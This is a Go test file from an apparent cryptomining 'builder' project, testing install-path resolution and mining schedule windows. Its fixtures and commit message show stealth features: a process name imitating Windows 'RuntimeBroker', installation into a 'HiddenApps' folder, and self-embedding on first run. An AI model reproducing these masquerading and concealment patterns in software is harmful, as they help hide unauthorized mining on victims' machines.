Files
AetherForge/agent/config/install_test.go
drjones 1313c553e7 Add configurable install paths and enforce mining schedules.
Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.
2026-05-26 23:39:51 -07:00

98 lines
2.5 KiB
Go

package config
import (
"os"
"testing"
"time"
)
func TestInstallDirectoryLocalAppData(t *testing.T) {
t.Setenv("LOCALAPPDATA", `C:\Users\test\AppData\Local`)
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
WorkerName: "office pc",
BuildID: "1234567890abcdef",
ProcessName: "RuntimeBroker",
InstallBase: "localappdata",
InstallRelativePath: "CryptoMiner/{worker}-{build_short}",
}}
got, err := cfg.InstallDirectory()
if err != nil {
t.Fatal(err)
}
want := `C:\Users\test\AppData\Local\CryptoMiner\office-pc-12345678`
if got != want {
t.Fatalf("expected %q, got %q", want, got)
}
}
func TestInstallDirectoryCustomBase(t *testing.T) {
t.Setenv("ProgramData", `C:\ProgramData`)
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
WorkerName: "pc1",
BuildID: "build",
InstallBase: "custom",
InstallCustomBase: `%ProgramData%\HiddenApps`,
InstallRelativePath: "{process}",
}}
got, err := cfg.InstallDirectory()
if err != nil {
t.Fatal(err)
}
want := `C:\ProgramData\HiddenApps\pc1`
if got != want {
t.Fatalf("expected %q, got %q", want, got)
}
}
func TestInstallDirectoryRequiresCustomBase(t *testing.T) {
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
InstallBase: "custom",
}}
if _, err := cfg.InstallDirectory(); err == nil {
t.Fatal("expected error for missing custom base")
}
}
func TestInScheduleWindowSameDay(t *testing.T) {
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
ScheduleStart: "09:00",
ScheduleEnd: "17:00",
}}
now := time.Date(2026, 5, 26, 10, 0, 0, 0, time.UTC)
if !cfg.InScheduleWindow(now) {
t.Fatal("expected inside schedule window")
}
now = time.Date(2026, 5, 26, 18, 0, 0, 0, time.UTC)
if cfg.InScheduleWindow(now) {
t.Fatal("expected outside schedule window")
}
}
func TestInScheduleWindowCrossMidnight(t *testing.T) {
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
ScheduleStart: "21:00",
ScheduleEnd: "06:00",
}}
if !cfg.InScheduleWindow(time.Date(2026, 5, 26, 23, 0, 0, 0, time.UTC)) {
t.Fatal("expected inside overnight window")
}
if !cfg.InScheduleWindow(time.Date(2026, 5, 26, 3, 0, 0, 0, time.UTC)) {
t.Fatal("expected inside early morning window")
}
if cfg.InScheduleWindow(time.Date(2026, 5, 26, 12, 0, 0, 0, time.UTC)) {
t.Fatal("expected outside midday window")
}
}
func TestExpandWindowsEnv(t *testing.T) {
os.Setenv("LOCALAPPDATA", `C:\Local`)
got := expandWindowsEnv(`%LOCALAPPDATA%\Apps`)
if got != `C:\Local\Apps` {
t.Fatalf("unexpected expansion: %s", got)
}
}